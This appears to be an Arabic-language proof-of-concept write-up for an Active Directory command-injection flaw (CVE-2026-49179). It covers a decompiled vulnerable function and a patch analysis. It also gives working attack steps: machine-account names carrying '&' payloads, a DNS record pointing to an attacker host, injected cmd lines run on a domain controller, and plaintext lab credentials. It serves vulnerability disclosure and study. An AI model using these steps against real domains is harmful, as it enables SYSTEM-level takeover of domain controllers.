
أدلة إثبات المفهوم ونصوص الاستغلال الخاصة بـ CVE-2026-49179، وهو حقن أوامر في دالة WriteSPNScript الخاصة بـ Active Directory يتيح تنفيذ تعليمات برمجية عن بُعد بصلاحيات SYSTEM على وحدات تحكم المجال.
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (حقن أوامر) |
| المكوّن المتأثر | ntdsai.dll — الدالة WriteSPNScript |
| الأنظمة المتأثرة | Windows Server 2016, 2019, 2022, 2025 (قبل التصحيح) |
| ناقل الهجوم | مستخدم نطاق مُصادَق عليه (أي مستخدم) |
| التأثير | تنفيذ تعليمات برمجية عن بُعد بصلاحيات SYSTEM على وحدة التحكم بالمجال |
| تاريخ النشر | أغسطس 2026 |
تُنشئ الدالة WriteSPNScript في ntdsai.dll أوامر نصية دفعية لمعالجة SPN (اسم الخدمة الرئيسي) أثناء عمليات صيانة Active Directory. تستخدم الدالة سلسلة تنسيق لبناء أوامر repadmin.exe /writespn لكنها تفشل في تعقيم معامل الاسم المميز (DN)، مما يسمح بحقن أوامر عبر المحرف & (فاصل أوامر cmd.exe).
سلسلة التنسيق المصابة بالثغرة:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
المعاملات: SystemDir، WriteOp (ADD/DELETE)، DN، SPN_value
يُشتق DN من الاسم الشائع (CN) لحساب الجهاز، والذي يُضبط أثناء إنشاء الحساب. عندما يُنشأ حساب جهاز يحتوي اسمه على محارف ميتا خاصة بالصدفة (shell metacharacters)، تتدفق تلك المحارف دون تهريب إلى السكربت المُولَّد. وعندما ينفّذ cmd.exe السكربت، يعمل & كفاصل أوامر، فينفّذ أوامر يتحكم بها المهاجم بصلاحيات SYSTEM.
يمتلك Active Directory بروتوكولين رئيسيين لإدارة حسابات الأجهزة:
| البروتوكول | التحقق من المحارف | محارف ميتا خاصة بالصدفة |
|---|---|---|
| LDAP (قيم SPN) | صارم — يرفض CONSTRAINT_ATT_TYPE المحارف & ; | ' \ $ ( )` | محظورة |
| SAMR (أسماء الأجهزة) | مرن — يتحقق من الصيغة الأساسية لاسم الحساب | مسموح بها: & ' \ $ ( ) ! space` |
عدم التماثل في التحقق هو السبب الجذري:
sAMAccountName، والذي يصبح CN ويتدفق إلى DNWriteSPNScript دون تعقيمعند العنوان 0x1802a98a0 في الملف الثنائي غير المُرقَّع:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA ينسّق DN مباشرةً في مخزن الإخراج. لا تهريب، ولا اقتباس، ولا تعقيم.
بالنسبة لجهاز يكون فيه CN=A&ping attacker&B:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
يفسّر cmd.exe هذا على أنه خمس عبارات منفصلة:
| # | العبارة | النتيجة |
|---|---|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | يفشل (DN مبتور) |
| 2 | ping attacker | مُحقَن — يُنفَّذ بصلاحيات SYSTEM |
| 3 | B,CN=Computers,DC=... HOST/A | يفشل (ليس أمرًا صالحًا) |
| 4 | ping attacker | مُحقَن — يُنفَّذ مرة أخرى (من معامل SPN) |
| 5 | B | يفشل (ليس أمرًا صالحًا) |
يظهر الأمر المُحقَن مرتين — مرة من معامل DN ومرة من معامل SPN (الذي يحتوي أيضًا على اسم الجهاز).
يُجري WriteSPNScript المُرقَّع (الحجم: 1477 → 2005 بايت) ثلاثة تغييرات:
دالتان جديدتان للتعقيم تُطبَّقان على كلٍّ من معاملي DN وSPN:
EscapeForPowerShellSingleQuote() — تُهرّب ' لمنع الخروج من السلاسل النصية المحاطة بعلامات اقتباس مفردةEscapeForNativeArgvBackslashesBeforeDoubleQuote() — تُهرّب تسلسلات \ قبل " لتحليل argv الأصلي| الأساس (المعرّض للثغرة) | المُرقَّع | |
|---|---|---|
| الدالة | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| الاقتباس | لا يوجد | معاملات محاطة بعلامات اقتباس مفردة |
| الإخراج | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
كانت هناك مراجعة سابقة تحتوي على علامة ميزة Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled تتحكم في الإصلاح. في الترقيع النهائي، تمت إزالة هذه العلامة — الإصلاح نشط دائمًا ولا يمكن تعطيله.
| المضيف | الدور | IP | نظام التشغيل |
|---|---|---|---|
| WINTERFELL | وحدة تحكم المجال | 192.168.56.11 | Windows Server 2019 |
| Attacker | Kali Linux | 192.168.14.238 | Kali 2026 |
| المجال | north.sevenkingdoms.local | ||
| مستخدم منخفض الصلاحيات | samwell.tarly / Heartsbane | مستخدم مجال عادي | |
| مستخدم مسؤول | robb.stark / sexywolfy | مسؤول المجال |
باستخدام spn_probe3.py، تم اختبار المحارف التي يقبلها SAMR في أسماء حسابات الأجهزة مقابل ما يقبله LDAP في قيم SPN:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
النتيجة الرئيسية: يسمح SAMR بجميع أحرف shell meta الثمانية التي تم اختبارها. بينما يحظرها LDAP جميعًا. يكون متجه الحقن عبر أسماء الأجهزة التي ينشئها SAMR، وليس عبر قيم SPN.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
أُنشئ أيضًا باسم samwell.tarly:
[+] Created C&ping a&D$, RID: 1138
مؤكد: يمكن لمستخدم نطاق عادي (PR:L) إنشاء حسابات أجهزة مع حقن أوامر & في الاسم.
يمكن لمستخدمي النطاق العاديين إضافة سجلات ADIDNS. استُخدم dnstool.py لإنشاء اسم مضيف قصير يشير إلى المهاجم:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
تم التحقق من الحل على DC:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
محاكاة المخرجات الدقيقة التي سيولّدها WriteSPNScript، عند تنفيذها على DC:
إثبات كتابة الملف:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED
إثبات استدعاء ICMP:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127